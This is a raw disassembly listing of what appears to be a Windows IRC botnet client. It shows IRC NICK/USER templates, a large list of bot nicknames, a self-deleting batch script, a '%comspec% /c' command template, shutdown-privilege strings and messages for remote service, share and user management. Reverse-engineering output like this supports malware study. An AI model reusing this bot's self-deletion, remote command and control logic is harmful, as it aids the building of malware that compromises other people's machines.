		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset word_594F42	; DATA XREF: ___:00438BB8o
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
